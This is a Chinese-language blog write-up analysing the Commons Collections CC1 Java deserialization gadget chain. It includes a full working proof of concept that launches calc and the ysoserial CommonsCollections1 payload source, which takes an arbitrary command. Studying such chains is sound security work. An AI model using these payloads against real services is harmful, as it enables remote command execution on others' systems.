【Java反序列化】CommonsCollections-CC1链分析

前言

好几天没发博文了，偷偷憋了个大的——CC1链分析，手撸了一遍代码。虽然说，这个链很老了，但还是花费了我一段时间去消化吸收，那么接下来，我会简洁的介绍下整个链的利用过程，还有哪些不理解的地方，xdm可以评论区一起讨论学习一下。

环境准备

Apache Commons Collections是Java中应用广泛的一个库，包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
CommonsCollections版本：3.2.1
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
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其次，sun公司代码为反编译后的class，不能进行调试分析

Java8u65对应的源码https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
jdk-af660750b2f4\src\share\classes\sun
把Java环境中的src.zip解压为jdk1.8.0_65\src，放入sun文件夹
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至此，环境搭建好了，开始调试分析。

CommonsCollections–CC1链分析

先贴一下完整的代码：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value", "value");Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationhdlConstructor.setAccessible(true);Object object = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);serialize(object);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

先讲一下漏洞利用点，
InvokerTransformer.transform方法对传入的参数对象进行了反射调用，即能够调用任意对象执行任意方法，进而导致命令执行Runtime.getRuntime().exec("calc");。

按照源码的逻辑，写一下简短的POC：

Runtime runtime = Runtime.getRuntime();
Class runtimeClass = runtime.getClass();
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc");

即在InvokerTransformer构造方法中传入对应的参数就可命令执行
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Runtime没有继承Serializable类，无法进行序列化，但是Class类继承了Serializable类，那么将Runtime进行反射调用即可

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

其中有很多细节，ChainedTransformer类的transform方法能够批量执行数组的transform，即调用数组中每一个对象的transform。
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对于new ConstantTransformer(Runtime.class)，则可以说是精髓，因为后文中的值不能被直接利用，而ConstantTransformer传入的参数为常量，不可被改变，即被调用的是我们传入的想要的值。

再想先讲一下漏洞触发点：反序列化漏洞，最主要的还是要readObject()函数，那么通过漏洞利用点一步步逆推则找到了AnnotationInvocationHandler.readObject()。

InvokerTransformer.transform()
TransformedMap.checkSetValue()
AbstractInputCheckedMapDecorator.MapEntry.setValue()
AnnotationInvocationHandler.readObject()

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简单写一下漏洞POC：

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object object = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);

这里Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
TransformedMap继承了AbstractInputCheckedMapDecorator，而AbstractInputCheckedMapDecorator的父类AbstractMapDecorator实现了Map接口，AbstractInputCheckedMapDecorator重写了entrySet方法
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且map.put("value", "value");的key要和annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);的Target.class方法一致，不然if判断不过关，无法继续往下执行。

本文和ysoserial的CC1链略有差别，ysoserial的CC1链调用了LazyMap.get()整个方法https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java，感兴趣的xdm也能再看下ysoserial的CC1链。

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;/*Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()Requires:commons-collections*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {public InvocationHandler getObject(final String command) throws Exception {final String[] execArgs = new String[] { command };// inert chain for setupfinal Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });// real chain for after setupfinal Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, execArgs),new ConstantTransformer(1) };final Map innerMap = new HashMap();final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chainreturn handler;}public static void main(final String[] args) throws Exception {PayloadRunner.run(CommonsCollections1.class, args);}public static boolean isApplicableJavaVersion() {return JavaVersion.isAnnInvHUniversalMethodImpl();}
}